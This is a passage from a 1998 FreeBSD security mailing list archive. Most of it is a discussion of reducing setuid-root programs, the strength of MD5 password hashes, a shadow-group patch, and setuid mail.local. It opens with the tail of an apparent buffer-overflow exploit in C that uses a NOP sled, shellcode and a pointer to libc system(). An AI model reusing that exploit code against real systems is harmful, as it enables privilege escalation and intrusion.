(*push)(); memcpy((int*)&push,w,sizeof(int)); memcpy(stack,(char*)w+4,OFFSET-5); push(stack); return *w; } int i; char *p; main(int argc,char**argv) { char s[1024]; char ssh[] = "\x8c\xfd\xff\xbf\x48\x9b"; /* starts ssh session */ strcpy(argv[0],"vi "); if (getuid()) { system("/bin/echo this program uses priveledged ports. " "run as root."); return -1; } write(1,ssh,sizeof(ssh)); for (i=0;i<500;i++) s[i]=NOP; p=&s[i]; memcpy(p,&shellcode[OFFSET],sizeof(shellcode)-OFFSET); /* most [linux] systems keep libc functions in the same place */ i=(int)system;memcpy(&shellcode,&i,sizeof(int)); write(1,s,500+(sizeof(shellcode)-OFFSET)); fetch((int*)&shellcode); usleep(1000000); return 0; } --------------7C86B669E4356C12030145B7-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Nov 16 09:43:41 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id JAA06010 for freebsd-security-outgoing; Mon, 16 Nov 1998 09:43:41 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from ns1.yes.no (ns1.yes.no [195.204.136.10]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id JAA05977 for ; Mon, 16 Nov 1998 09:43:26 -0800 (PST) (envelope-from eivind@bitbox.follo.net) Received: from bitbox.follo.net (bitbox.follo.net [195.204.143.218]) by ns1.yes.no (8.9.1a/8.9.1) with ESMTP id SAA02321; Mon, 16 Nov 1998 18:42:28 +0100 (CET) Received: (from eivind@localhost) by bitbox.follo.net (8.8.8/8.8.6) id SAA12429; Mon, 16 Nov 1998 18:42:27 +0100 (MET) Message-ID: <19981116184225.20193@follo.net> Date: Mon, 16 Nov 1998 18:42:25 +0100 From: Eivind Eklund To: Thomas Valentino Crimi Cc: freebsd-security@FreeBSD.ORG Subject: Re: Would this make FreeBSD more secure? References: <199811151758.JAA15108@apollo.backplane.com> <199811152257.PAA02868@usr05.primenet.com> <19981116073914.F969@internal> <0qI4qUS00YUq09JbU0@andrew.cmu.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89.1i In-Reply-To: <0qI4qUS00YUq09JbU0@andrew.cmu.edu>; from Thomas Valentino Crimi on Mon, Nov 16, 1998 at 11:06:56AM -0500 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, Nov 16, 1998 at 11:06:56AM -0500, Thomas Valentino Crimi wrote: > And then we have md5 passwords, arguably broken, now, but orders of > magnitudes better than DES. Uhm - what do you mean by this statement? I know of no data that indicate that 'MD5 used for passwords is arguably broken' (and I wouldn't even consider it reasonable to say that normal MD5 is broken, but that is arguable :-) Eivind. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Nov 16 09:48:52 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id JAA06818 for freebsd-security-outgoing; Mon, 16 Nov 1998 09:48:52 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from fledge.watson.org (FLEDGE.RES.CMU.EDU [128.2.93.229]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id JAA06591 for ; Mon, 16 Nov 1998 09:47:24 -0800 (PST) (envelope-from robert@cyrus.watson.org) Received: from fledge.watson.org (robert@fledge.pr.watson.org [192.0.2.3]) by fledge.watson.org (8.8.8/8.8.8) with SMTP id MAA15642; Mon, 16 Nov 1998 12:46:24 -0500 (EST) Date: Mon, 16 Nov 1998 12:46:24 -0500 (EST) From: Robert Watson X-Sender: robert@fledge.watson.org Reply-To: Robert Watson To: Thomas Valentino Crimi cc: Terry Lambert , freebsd-security@FreeBSD.ORG Subject: Re: Would this make FreeBSD more secure? In-Reply-To: <0qI4qUS00YUq09JbU0@andrew.cmu.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, 16 Nov 1998, Thomas Valentino Crimi wrote: > Let's not forget that without cracking the password of a 'wheel' > member, su is still not going to let them in. If you have no wheel > members (ie, you only allow root access from console) all the password > cracking in the world isn't going to give them root. (of course, with a > whole lot password cracking they'll have the password to every account > on your box). > > Forcing them to crack 2 passwords, assuming they can properly > manipulate the sgid program to spitting out the master.password file > seems to be an improvement to me. Don't buffer overruns generally show > up as sig-11 core dumps? Meaning that if we assume the EFF 8 hours in > cracking the two passwords needed to obtain root, that's 8 hours more > than the 2 seconds the admin originally had to take action. Unfortunately, one of the most common security aids, sshd, is often used with 'PermitRootLogin' set to true. Similarly, the kerberized utilities will allow root to login as long as the tickets passed appear in the .klogin file. On the other hand, a factor of 2 improvement is not worth much, except in the RSA key breaking case, so... :) > And then we have md5 passwords, arguably broken, now, but orders of > magnitudes better than DES. I don't think I would consider md5 broken exactly. Just subject to intermittent collisions. Is there a deterministic (and fast) way to detect whether one is employing a hash subject to the described collision attack? If so, perhaps we can add a piece of code that attempts a number of values of salt, resulting in a more friendly hash. I prefer one-time passwords for security applications; on the other hand I eagerly await a nice (scalable) PK authentication system used with hardware keys. Robert N Watson Carnegie Mellon University http://www.cmu.edu/ TIS Labs at Network Associates, Inc. http://www.tis.com/ SafePort Network Services http://www.safeport.com/ robert@fledge.watson.org http://www.watson.org/~robert/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Nov 16 09:54:12 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id JAA07958 for freebsd-security-outgoing; Mon, 16 Nov 1998 09:54:12 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from alive.znep.com (207-178-54-226.go2net.com [207.178.54.226]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id JAA07681 for ; Mon, 16 Nov 1998 09:53:46 -0800 (PST) (envelope-from marcs@znep.com) Received: from localhost (marcs@localhost) by alive.znep.com (8.9.1/8.9.1) with ESMTP id JAA07919; Mon, 16 Nov 1998 09:49:05 -0800 (PST) (envelope-from marcs@znep.com) Date: Mon, 16 Nov 1998 09:49:04 -0800 (PST) From: Marc Slemko To: Matthew Dillon cc: freebsd-security@FreeBSD.ORG Subject: Re: Would this make FreeBSD more secure? In-Reply-To: <199811161055.CAA18393@apollo.backplane.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, 16 Nov 1998, Matthew Dillon wrote: > I wonder how many other programs can be trivially fixed like that. > Certainly sendmail does not need to be run as root, yet it is in > /usr/src/etc/rc. lpd ? Why in gods name does lpd need to be run > as root? It is easy to say that things don't have to run as root, but for many of them that just isn't true without losing functionality. If sendmail doesn't run as root, you can't deliver user mail to programs. If lpd doesn't run as root, it can't read non-world-readable files printed with -s. etc. Every few months we go through this. Sure, some programs can be fixed. But it isn't as easy as magically saying "I don't think this program should need root". To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Nov 16 10:11:31 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id KAA10008 for freebsd-security-outgoing; Mon, 16 Nov 1998 10:11:31 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from ns1.sminter.com.ar (ns1.sminter.com.ar [200.10.100.10]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id KAA09998 for ; Mon, 16 Nov 1998 10:11:22 -0800 (PST) (envelope-from fpscha@ns1.sminter.com.ar) Received: (from fpscha@localhost) by ns1.sminter.com.ar (8.8.5/8.8.4) id PAA01939; Mon, 16 Nov 1998 15:11:17 -0300 (GMT) From: Fernando Schapachnik Message-Id: <199811161811.PAA01939@ns1.sminter.com.ar> Subject: Re: Would this make FreeBSD more secure? In-Reply-To: <0qI4qUS00YUq09JbU0@andrew.cmu.edu> from Thomas Valentino Crimi at "Nov 16, 98 11:06:56 am" To: tcrimi+@andrew.cmu.edu (Thomas Valentino Crimi) Date: Mon, 16 Nov 1998 15:11:16 -0300 (GMT) Cc: tlambert@primenet.com, freebsd-security@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL40 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org En un mensaje anterior, Thomas Valentino Crimi escribió: [...] > And then we have md5 passwords, arguably broken, now, but orders of > magnitudes better than DES. Broken? I'm using them with no problem. What do you mean? Regards. Fernando P. Schapachnik Administracion de la red S&M International SA To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Nov 16 10:36:47 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id KAA12639 for freebsd-security-outgoing; Mon, 16 Nov 1998 10:36:47 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id KAA12619 for ; Mon, 16 Nov 1998 10:36:35 -0800 (PST) (envelope-from imp@village.org) Received: from harmony [10.0.0.6] by rover.village.org with esmtp (Exim 1.71 #1) id 0zfTVR-0001l9-00; Mon, 16 Nov 1998 11:36:09 -0700 Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.1/8.8.3) with ESMTP id LAA04984; Mon, 16 Nov 1998 11:35:30 -0700 (MST) Message-Id: <199811161835.LAA04984@harmony.village.org> To: Matthew Dillon Subject: Re: Would this make FreeBSD more secure? Cc: Andre Albsmeier , freebsd-security@FreeBSD.ORG In-reply-to: Your message of "Mon, 16 Nov 1998 02:55:14 PST." <199811161055.CAA18393@apollo.backplane.com> References: <199811161055.CAA18393@apollo.backplane.com> <19981116072937.E969@internal> <19981115192224.A29686@internal> <19981115161548.A23869@internal> <199811151758.JAA15108@apollo.backplane.com> <19981115192224.A29686@internal> <199811152210.PAA01604@harmony.village.org> <199811160658.XAA01912@harmony.village.org> Date: Mon, 16 Nov 1998 11:35:30 -0700 From: Warner Losh Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message <199811161055.CAA18393@apollo.backplane.com> Matthew Dillon writes: : There are only a limited number of programs that run as root or are : suid root. Being able to plug even half a dozen of them by removing : their root privilages would be a major win. Yes. However, this would close only one or two. Those being those programs that do authorization based on user name, but do NOT change the uid of the user. : I can find no good reason why, for example, ntalkd must be run as root. : It does a stupid getuid() test in main() that should be ripped out... : it really only needs tty group access to work. I'd agree with that. : identd sure doesn't need root. kmem group access is plenty sufficient. That is correct as well. : Both of these are turned on by default in inetd.conf, neither of these : requires root. All it would take to fix them would be to add two dummy : users to master.passwd 'tty' and 'kmem' (with bin group privs), to fix : talkd.c to remove the silly getuid() test, and to fix inetd.conf (run : ntalkd as tty:tty and identd as kmem:kmem). yikes!!! I think that might be worth considering. : I wonder how many other programs can be trivially fixed like that. : Certainly sendmail does not need to be run as root, yet it is in : /usr/src/etc/rc. lpd ? Why in gods name does lpd need to be run : as root? sendmail needs to run as root to deliver mail and to bind to port 25. There may be some ways around this, but to date I've seen none that don't open huge holes elsewhere. lpd needs to run as root to access the files that it is printing, and to bind to its listening port. I'm not sure a good way around that... Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Nov 16 10:39:30 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id KAA12990 for freebsd-security-outgoing; Mon, 16 Nov 1998 10:39:30 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from mx1.dmz.fedex.com (mx1.dmz.fedex.com [199.81.194.37]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id KAA12951; Mon, 16 Nov 1998 10:39:19 -0800 (PST) (envelope-from wam@mohawk.dpd.fedex.com) Received: from mx2.zmd.fedex.com (sendmail@mx2.zmd.fedex.com [199.82.159.11]) by mx1.dmz.fedex.com (8.9.1/8.9.1) with ESMTP id MAA09192; Mon, 16 Nov 1998 12:38:48 -0600 (CST) Received: from s07.sa.fedex.com (root@s07.sa.fedex.com [199.81.124.17]) by mx2.zmd.fedex.com (8.9.1/8.9.1) with ESMTP id MAA14109; Mon, 16 Nov 1998 12:38:48 -0600 (CST) Received: from mohawk.dpd.fedex.com (mohawk.dpd.fedex.com [199.81.74.121]) by s07.sa.fedex.com (8.9.1/8.9.1) with SMTP id MAA25024; Mon, 16 Nov 1998 12:38:43 -0600 (CST) Message-Id: <199811161838.MAA25024@s07.sa.fedex.com> To: Terry Lambert cc: hackers@FreeBSD.ORG, freebsd-security@FreeBSD.ORG Subject: Re: Would this make FreeBSD more secure? Date: Mon, 16 Nov 1998 12:38:11 -0600 From: William McVey Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org [ This is a fairly long reply. The last paragraph has some info related to xterm's need for root permissions of possible interest. ] I'm in favor of the proposed change to allow some group (for discussion sake, lets call it group 'shadow') read permission to the shadow file. Unfortunatly, it's not enough. The getpwnam (and family) needs to be modified to base their access method on access to the file as opposed to a "root or not-root" check. The routine __initdb() in /usr/src/lib/libc/gen/getpwent.c seems to be the place to make the change... (I code the propose "patch" very quickly, it should defintly be reviewed). before: p = (geteuid()) ? _PATH_MP_DB : _PATH_SMP_DB; _pw_db = dbopen(p, O_RDONLY, 0, DB_HASH, NULL); if (_pw_db) { [code] after: if((DB *)0 == (_pw_db=dbopen(_PATH_SMP_DB, O_RDONLY, 0, DB_HASH, NULL))) { _pw_db = dbopen(_PATH_MP_DB, O_RDONLY, 0, DB_HASH, NULL); } if ((DB *)0 ==_pw_db) { [code] Terry Lambert wrote: >There are several holes in the theory. The number one hole is >that if I'm trusting you to read the engrpted passwords, I'm >trusting you to not run "crack" (or whatever) against the >password file. True, but root passwords are of course secure enough to withstand crack (they are on my boxes at least). >Basically, DES is insecure enough tese days that >if I trust you with read access, I'm effectively trusting you >with the root password (if you had access to the EFF hardware, >you could obtain root in less than an hour). This logic is flawed. For one, there is no requirement that encrypted passwords be "encrypted" with DES. MD5 hashing has been an option on FreeBSD for a long time. Even assuming DES hashing is enabled on a box, it's important to remember that DES hashing is not the same as DES encryption. The interative nature of DES hashing (even the lowest security of crypt() has 25 iterations of DES encryption) means that it's a more time consuming to break the hash than to break a DES encrypted file. Extended DES hashing can use up to 16 million iterations of DES encryption to form the hash. Saying that possesion of EFF hardware makes encrypted password entries crackable within an hour is assuming a level of security which is not universal. >I think it's a bad idea to spread this trust around like this. Trust is still being placed into the root-owned xlockmore program. There is no denying that. If xlockmore were compromised, it could still be trojaned to store typed in user (and possibly even root) passwords as clear text to a file or mail message. That's why it still important for xlock to still be owned and writable by only root. >Second, if I trust a program to read the file, but not to write >it, I'm saying I have less trust in the program than I would hold >out for "root". This is ridiculous, since I'm implicitly trusting >the program to not have a hidden option to enumerate the shadow >password database contents, and I'm also entrusting it to not be >a trojan that, when passwords are successfully validated, the >account/password information gets sent someplace. Your implicit trust is that the program isn't intentionally malicious. That's different than trusting that the program doesn't have buffer overflows, race conditions, or other programming errors which might be abused. I have a higher degree of trust that xlock isn't intentionally malicious than I do that xlock (or any of it's underlying libraries) doesn't have bugs that might be exploited. When faced with this kind of partial trust, I'm inclined to want to give it only limited permissions. >Basically, if I'm in for a penny, I'm in for a pound, and relying >on obscurity and spreading the wealth around are both bad security >risks. One of the basic tenants of unix security is to minimize the permissions needed to accomplish a task. Let's say xlock has a race condition that would allow it to create new files. With setuid root permissions (or any other user for that matter), a new .rhosts (or perhaps a new .login or .profile) file could be created leading directly to a compromise of that account. With setgid permissions, the worse that could happen would be the creation of a file owned by the original user and grouped to the 'shadow' group. The user would have a hard time exploiting this since he can't make it setgid since he is presumably not in the 'shadow' group (if he were, this would all be moot anyway). Granted, race conditions and buffer overflows are programming bugs which should be eliminated out of all programs (especially those with privileges), but the unix filesystem and permission model allows us to mitigate a lot of those risks by restricting access privileges to a narrowly defined set of operations. >> Another thing that would be nice would be to give certain user id's >> the ability to listen on low-numbered sockets without giving the rest >> of the users that ability. > >SCO ODT had this "feature". SVR4 also has this "feature". It's >effectively the same thing as VMS (or NT) installed images, where >the image itself conveys permission to do things. I remember reading a research paper which had added a group per privileged system call. The permission check in the system calls were modified to check for membership in that system call's group as well being root. I think the code to do this was applied against one of the free BSDs of the time (FreeBSD, NetBSD, OpenBSD, perhaps even BSD4.4). I tried try and locate a copy of it but couldn't find it quickly... >> * xterm (suid root for utmp access) > > Yeah, well, this is just bogus because of the way credentials > are handled in FreeBSD. It's the same reason we can't have > per-user instead of per-machine SAMBA credeintions: there's > no explicit session manager to act as credential holder, and > to which programs can proxy requests. For years xterm has had support for ptyd, a small daemon program written by Kevin Braunsdorf which would hand out ptys in a secure fashion. It can be found at: ftp://ftp.physics.purdue.edu/pundits/ -- William To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Nov 16 10:44:04 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id KAA13890 for freebsd-security-outgoing; Mon, 16 Nov 1998 10:44:04 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id KAA13746 for ; Mon, 16 Nov 1998 10:43:53 -0800 (PST) (envelope-from imp@village.org) Received: from harmony [10.0.0.6] by rover.village.org with esmtp (Exim 1.71 #1) id 0zfTcN-0001lN-00; Mon, 16 Nov 1998 11:43:19 -0700 Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.1/8.8.3) with ESMTP id LAA05020; Mon, 16 Nov 1998 11:42:41 -0700 (MST) Message-Id: <199811161842.LAA05020@harmony.village.org> To: Andre Albsmeier Subject: Re: Would this make FreeBSD more secure? Cc: Matthew Dillon , freebsd-security@FreeBSD.ORG In-reply-to: Your message of "Mon, 16 Nov 1998 08:16:40 +0100." <19981116081640.A2304@internal> References: <19981116081640.A2304@internal> <19981116072937.E969@internal> <19981115192224.A29686@internal> <19981115161548.A23869@internal> <199811151758.JAA15108@apollo.backplane.com> <19981115192224.A29686@internal> <199811152210.PAA01604@harmony.village.org> <19981116072937.E969@int Date: Mon, 16 Nov 1998 11:42:40 -0700 From: Warner Losh Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message <19981116081640.A2304@internal> Andre Albsmeier writes: : Which security holes do you mean? I thought basically of doing the : following: : : a) invent a new group (e.g. shadow, to stick with xlockmore :-)) : b) chgrp shadow /etc/spwd.db /etc/master.passwd : c) chmod 640 /etc/spwd.db and /etc/master.passwd mode : d) modify programs that write to these files (pwd_mkdb) : to conform with b) and c) : : As far as we are now, I can't see a security hole here. /etc/spwd.db : and /etc/master.passwd are now readable by the shadow group as well : but up to now, no one runs under this group. Assuming that no users are in the shadow group... : Now we modify xlock (or others which are setuid root only in order : to access /etc/spwd.db or /etc/master.passwd) in the following way: : : a) chgrp shadow xlock : b) chmod 2111 xlock : : xlock can now do the same as before: read the encrypted passwords : but doens't run as root anymore. The only programs this would help are those that need to check passwords and do nothing else. For example, ftpd wouldn't be helped by this because it needs to set the userid to that of the user logging in. ditto with login and most of the other programs that access the password file to allow the user to have access to passwords, but don't change the uid, etc. This would be xlock and related hangers on, and little else. One program per system would likely benefit from this change, since usually there is only one kind of screen lock per system. This would be an incremental increase in security for a couple of programs. You have changed the prize of breaking those programs from full access to the system, to access to the password files (which one could then run crack on). That would definitely be worth the effort if it didn't just impact one or two programs. However, if someone sends me patches for this, I'll happily review them (and commit them if good enough and the submitter isn't already a committer). Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Nov 16 10:45:38 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id KAA14231 for freebsd-security-outgoing; Mon, 16 Nov 1998 10:45:38 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id KAA14213 for ; Mon, 16 Nov 1998 10:45:27 -0800 (PST) (envelope-from imp@village.org) Received: from harmony [10.0.0.6] by rover.village.org with esmtp (Exim 1.71 #1) id 0zfTdH-0001lT-00; Mon, 16 Nov 1998 11:44:15 -0700 Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.1/8.8.3) with ESMTP id LAA05055; Mon, 16 Nov 1998 11:43:36 -0700 (MST) Message-Id: <199811161843.LAA05055@harmony.village.org> To: "Jordan K. Hubbard" Subject: Re: "Todd C. Miller": sendmail changes in OpenBSD 2.4 Cc: security@FreeBSD.ORG In-reply-to: Your message of "Sun, 15 Nov 1998 14:10:34 PST." <21235.911167834@zippy.cdrom.com> References: <21235.911167834@zippy.cdrom.com> Date: Mon, 16 Nov 1998 11:43:35 -0700 From: Warner Losh Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message <21235.911167834@zippy.cdrom.com> "Jordan K. Hubbard" writes: : Hmmm. This sounds like a rather large user hit to take, but one less : suid root executable (and an end to the other problems described : below) also has strong appeal. Comments? Sounds like a good idea to me. Setuid mail.local has always struck me as a bad idea, especially one that was world executable. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Nov 16 10:48:01 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id KAA14590 for freebsd-security-outgoing; Mon, 16 Nov 1998 10:48:01 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from rembrandt.esys.ca (rembrandt.esys.ca [198.161.92.18]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id KAA14549 for ; Mon, 16 Nov 1998 10:47:57 -0800 (PST) (envelope-from lyndon@esys.ca) Received: from esys.ca (zappa.esys.ca [198.161.92.28]) by rembrandt.esys.ca (2.0.4/SMS 2.0.4) with ESMTP id LAA19471; Mon, 16 Nov 1998 11:47:26 -0700 Message-Id: <199811161847.LAA19471@rembrandt.esys.ca> Date: Mon, 16 Nov 1998 11:47:20 -0700 From: Lyndon Nerenberg Subject: Re: "Todd C. Miller": sendmail changes in OpenBSD 2.4 To: jkh@zippy.cdrom.com cc: security@FreeBSD.ORG In-Reply-To: <21235.911167834@zippy.cdrom.com> MIME-Version: 1.0 Content-Type: TEXT/plain; CHARSET=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On 15 Nov, Jordan K. Hubbard wrote: > Hmmm. This sounds like a rather large user hit to take, but one less > suid root executable (and an end to the other problems described > below) also has strong appeal. Comments? > ------- Forwarded Message > In 2.4, /usr/libexec/mail.local is no longer setuid, to prevent its > abuse by users (trivial mail forgery, filling up /var/mail, etc). The downside here is that you can't deliver to multiple recipients via LMTP. For busy machines, where a significant portion of your local mail has multiple local RCPT TO's, you lose one of the major benefits of LMTP (multiple recipient delivery with a single fork/exec). It also means mode 777+sticky bit on /var/mail -- a denial of service waiting to happen. My preference would be for a mode 500 mail.local, owned by root, and with sendmail speaking to it via LMTP --lyndon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Nov 16 10:48:21 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id KAA14825 for freebsd-security-outgoing; Mon, 16 Nov 1998 10:48:21 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from david.siemens.de (david.siemens.de [192.35.17.14]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id KAA14574 for ; Mon, 16 Nov 1998 10:48:00 -0800 (PST) (envelope-from andre.albsmeier@mchp.siemens.de) X-Envelope-Sender-Is: andre.albsmeier@mchp.siemens.de (at relayer david.siemens.de) Received: from mail.siemens.de (salomon.siemens.de [139.23.33.13]) by david.siemens.de (8.9.1a/8.9.1) with ESMTP id NAA25517 for ; Mon, 16 Nov 1998 13:00:22 +0100 (MET) Received: from curry.mchp.siemens.de (daemon@curry.mchp.siemens.de [146.180.31.23]) by mail.siemens.de (8.9.1a/8.9.1) with ESMTP id NAA08244 for ; Mon, 16 Nov 1998 13:00:20 +0100 (MET) Received: (from daemon@localhost) by curry.mchp.siemens.de (8.8.8/8.8.8) id NAA18545 for ; Mon, 16 Nov 1998 13:00:20 +0100 (CET) Message-ID: <19981116125909.A28486@internal> Date: Mon, 16 Nov 1998 12:59:09 +0100 From: Andre Albsmeier To: Matthew Dillon , Warner Losh Cc: Andre Albsmeier , freebsd-security@FreeBSD.ORG Subject: Re: Would this make FreeBSD more secure? References: <19981116072937.E969@internal> <19981115192224.A29686@internal> <19981115161548.A23869@internal> <199811151758.JAA15108@apollo.backplane.com> <19981115192224.A29686@internal> <199811152210.PAA01604@harmony.village.org> <199811160658.XAA01912 < Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.93.2i In-Reply-To: <199811161055.CAA18393@apollo.backplane.com>; from Matthew Dillon on Mon, Nov 16, 1998 at 02:55:14AM -0800 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, Nov 16, 1998 at 02:55:14AM -0800, Matthew Dillon wrote: > > : > :This would plug some potential holes in a small number of > :applications. I'm not sure that it is worth it on the effort/return > :front. I can think of only a few programs that might benefit from > :this, and a similar benefit could likely be had with a PAM module that > :talked to a password server which did all the right things. However, > :that too add complexity, which makes it harder to secure things.... > : > :Warner > > There are only a limited number of programs that run as root or are > suid root. Being able to plug even half a dozen of them by removing > their root privilages would be a major win. That is exactly my opinion. I think a program should run with the minimum privileges it really needs to and not more. -Andre To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Nov 16 10:48:59 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id KAA15050 for freebsd-security-outgoing; Mon, 16 Nov 1998 10:48:59 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id KAA15012 for ; Mon, 16 Nov 1998 10:48:51 -0800 (PST) (envelope-from imp@village.org) Received: from harmony [10.0.0.6] by rover.village.org with esmtp (Exim 1.71 #1) id 0zfThH-0001lo-00; Mon, 16 Nov 1998 11:48:23 -0700 Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.1/8.8.3) with ESMTP id LAA05123; Mon, 16 Nov 1998 11:47:45 -0700 (MST) Message-Id: <199811161847.LAA05123@harmony.village.org> To: Thomas Valentino Crimi Subject: Re: Would this make FreeBSD more secure? Cc: Terry Lambert , freebsd-security@FreeBSD.ORG In-reply-to: Your message of "Mon, 16 Nov 1998 11:06:56 EST." <0qI4qUS00YUq09JbU0@andrew.cmu.edu> References: <0qI4qUS00YUq09JbU0@andrew.cmu.edu> <199811151758.JAA15108@apollo.backplane.com> <199811152257.PAA02868@usr05.primenet.com> <19981116073914.F969@internal> Date: Mon, 16 Nov 1998 11:47:44 -0700 From: Warner Losh Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message <0qI4qUS00YUq09JbU0@andrew.cmu.edu> Thomas Valentino Crimi writes: : Let's not forget that without cracking the password of a 'wheel' : member, su is still not going to let them in. If you have no wheel : members (ie, you only allow root access from console) all the password : cracking in the world isn't going to give them root. (of course, with a : whole lot password cracking they'll have the password to every account : on your box). Unless you have something like sudo installed on your machine. Then all you need to do is crack one account to have root. However, if you don't have non-ssh logins enabled (and require that ssh logins come from keys rather than just the password in the password file), then you might be safe. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Nov 16 10:50:47 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id KAA15592 for freebsd-security-outgoing; Mon, 16 Nov 1998 10:50:47 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id KAA15541 for ; Mon, 16 Nov 1998 10:50:36 -0800 (PST) (envelope-from imp@village.org) Received: from harmony [10.0.0.6] by rover.village.org with esmtp (Exim 1.71 #1) id 0zfTiv-0001lv-00; Mon, 16 Nov 1998 11:50:05 -0700 Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.1/8.8.3) with ESMTP id LAA05146; Mon, 16 Nov 1998 11:49:27 -0700 (MST) Message-Id: <199811161849.LAA05146@harmony.village.org> To: Andre Albsmeier Subject: Re: Would this make FreeBSD more secure? Cc: Matthew Dillon , freebsd-security@FreeBSD.ORG In-reply-to: Your message of "Mon, 16 Nov 1998 12:59:09 +0100." <19981116125909.A28486@internal> References: <19981116125909.A28486@internal> <19981116072937.E969@internal> <19981115192224.A29686@internal> <19981115161548.A23869@internal> 